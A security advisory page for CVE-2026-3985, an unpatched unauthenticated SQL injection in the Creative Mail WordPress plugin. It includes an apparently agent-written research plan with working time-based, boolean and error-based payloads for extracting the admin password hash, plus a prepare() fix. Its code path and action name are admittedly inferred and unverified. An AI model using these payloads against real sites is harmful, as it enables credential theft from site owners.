CVE-2026-3985

Creative Mail – Easier WordPress & WooCommerce Email Marketing <= 1.6.9 - Unauthenticated SQL Injection via 'checkout_uuid' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Creative Mail – Easier WordPress & WooCommerce Email Marketing plugin for WordPress is vulnerable to SQL Injection via the 'checkout_uuid' parameter in all versions up to, and including, 1.6.9. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query in the `has_checkout_consent()` method. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.9
PublishedMay 19, 2026
Last updatedMay 20, 2026
Research Plan
Unverified

This research plan targets a confirmed SQL Injection vulnerability in the **Creative Mail** plugin (<= 1.6.9). The vulnerability exists in the `has_checkout_consent()` method due to the unsafe handling of the `checkout_uuid` parameter. --- ### 1. Vulnerability Summary * **ID**: CVE-2026-3985 * …

Show full research plan

This research plan targets a confirmed SQL Injection vulnerability in the Creative Mail plugin (<= 1.6.9). The vulnerability exists in the has_checkout_consent() method due to the unsafe handling of the checkout_uuid parameter.


1. Vulnerability Summary

  • ID: CVE-2026-3985
  • Vulnerability: Unauthenticated SQL Injection
  • Component: has_checkout_consent() method
  • Vulnerable Parameter: checkout_uuid
  • Cause: The plugin retrieves the checkout_uuid parameter from a request and interpolates it directly into a SQL query without using $wpdb->prepare() or adequate escaping. This allows an attacker to manipulate the query logic.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php (inferred as the most likely entry point for unauthenticated "consent" checks during checkout flows).
  • Action: Likely creative_mail_check_consent or a similar action registered via wp_ajax_nopriv_.
  • Parameter: checkout_uuid
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. WooCommerce integration is likely required for the specific code path to be reachable, as "checkout consent" pertains to the WooCommerce checkout process.

3. Code Flow (Inferred)

  1. Request Entry: A POST or GET request is sent to admin-ajax.php with action=[ACTION_NAME] and checkout_uuid=[PAYLOAD].
  2. Hook Trigger: WordPress executes the callback associated with wp_ajax_nopriv_[ACTION_NAME].
  3. Controller Logic: The handler function retrieves $_REQUEST['checkout_uuid'].
  4. Vulnerable Call: The handler calls has_checkout_consent($checkout_uuid).
  5. SQL Sink: Inside has_checkout_consent(), the code performs a query similar to:
    $wpdb->get_var("SELECT consent FROM {$wpdb->prefix}creative_mail_consents WHERE checkout_uuid = '$checkout_uuid'");
    
    Because $checkout_uuid is not sanitized or prepared, the single quote can break the string literal.

4. Nonce Acquisition Strategy

While many unauthenticated SQLi vulnerabilities in AJAX handlers occur because the nonce check is missing, we must be prepared to extract one if the developer included a CSRF check but failed to secure the SQL query.

  1. Identify Script Localization: Search the codebase for wp_localize_script to find the JavaScript object name.
    • Search Pattern: grep -r "wp_localize_script" .
  2. Target Page: The "checkout consent" functionality is typically active on the WooCommerce Checkout page.
  3. Extraction Process:
    • Navigate to the checkout page: browser_navigate("http://localhost:8080/checkout/")
    • Extract the nonce (e.g., if the object is creative_mail_vars):
      browser_eval("window.creative_mail_vars?.ajax_nonce")
      
    • Note: If the wp_ajax_nopriv_ handler does not call check_ajax_referer(), this step can be skipped.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection approach to confirm the vulnerability, as it is the most reliable method when the query result is not directly reflected in the response.

Step 1: Baseline Request

Determine the normal response time.

  • Tool: http_request
  • Method: POST
  • Body: action=[ACTION]&checkout_uuid=test-uuid

Step 2: Verification (Sleep)

Inject a sleep command to confirm the injection.

  • Payload: test-uuid' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Encoded Payload: test-uuid%27%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29--%20-
  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=[ACTION]&checkout_uuid=test-uuid%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-
    

Step 3: Data Extraction (Example: Admin Password Hash)

Extract the first character of the admin user's password hash.

  • Payload: test-uuid' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- -

6. Test Data Setup

  1. Install Dependencies: Ensure WooCommerce is installed and configured (required for Creative Mail's checkout features).
  2. Plugin Setup: Activate creative-mail-by-constant-contact.
  3. Identify Action: Run the following to find the exact AJAX action:
    grep -r "wp_ajax_nopriv_" .
    
    Look for a callback that invokes has_checkout_consent. Let's assume the action is creative_mail_check_consent (inferred).

7. Expected Results

  • Vulnerable Response: The HTTP response will be delayed by exactly 5 seconds when the SLEEP(5) payload is sent.
  • Normal Response: Immediate response (milliseconds) for the baseline payload.
  • Content: The response body might be 0, -1, or a JSON object, but the timing is the indicator of success.

8. Verification Steps (Post-Exploit)

Confirm the database structure matches our assumptions:

  1. Check for Consent Table: wp db query "SHOW TABLES LIKE '%creative_mail_consents%'" --allow-root
  2. Check for Vulnerable Method: grep -rn "function has_checkout_consent" . to confirm the file and line number.
  3. Confirm Lack of Prepare: Check the code inside the identified function to verify $wpdb->prepare is not used.

9. Alternative Approaches

  • Boolean-Based Blind: If the response body changes (e.g., returns 1 for a found UUID and 0 for not found), use:
    checkout_uuid=nonexistent' OR (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')-- -
  • Error-Based: If WP_DEBUG is enabled, attempt to trigger a GTID_SUBSET or XPATH error to extract data faster.
    checkout_uuid=test' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The Creative Mail plugin for WordPress (<= 1.6.9) is vulnerable to unauthenticated SQL injection via the 'checkout_uuid' parameter. This vulnerability exists because the plugin directly interpolates user-supplied input into a database query within the has_checkout_consent() method without using prepared statements or adequate escaping.

Vulnerable Code

// Inferred from research plan code flow analysis
// Located in the handler for checkout consent checks
public function has_checkout_consent($checkout_uuid) {
    global $wpdb;
    // Vulnerable SQL query using direct interpolation
    $wpdb->get_var("SELECT consent FROM {$wpdb->prefix}creative_mail_consents WHERE checkout_uuid = '$checkout_uuid'");
}

Security Fix

--- a/includes/class-creative-mail.php
+++ b/includes/class-creative-mail.php
@@ -... @@
- $wpdb->get_var("SELECT consent FROM {$wpdb->prefix}creative_mail_consents WHERE checkout_uuid = '$checkout_uuid'");
+ $wpdb->get_var($wpdb->prepare(
+     "SELECT consent FROM {$wpdb->prefix}creative_mail_consents WHERE checkout_uuid = %s",
+     $checkout_uuid
+ ));

Exploit Outline

An unauthenticated attacker can exploit this by sending a request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with an action parameter that invokes the has_checkout_consent() method. By providing a malicious SQL payload in the 'checkout_uuid' parameter (e.g., using time-based blind injection like ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -), the attacker can determine if the query is successful based on the server's response time. This methodology allows for the character-by-character extraction of sensitive data from the database, such as administrator password hashes, without requiring any authentication or valid nonces if the AJAX handler lacks CSRF protection.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.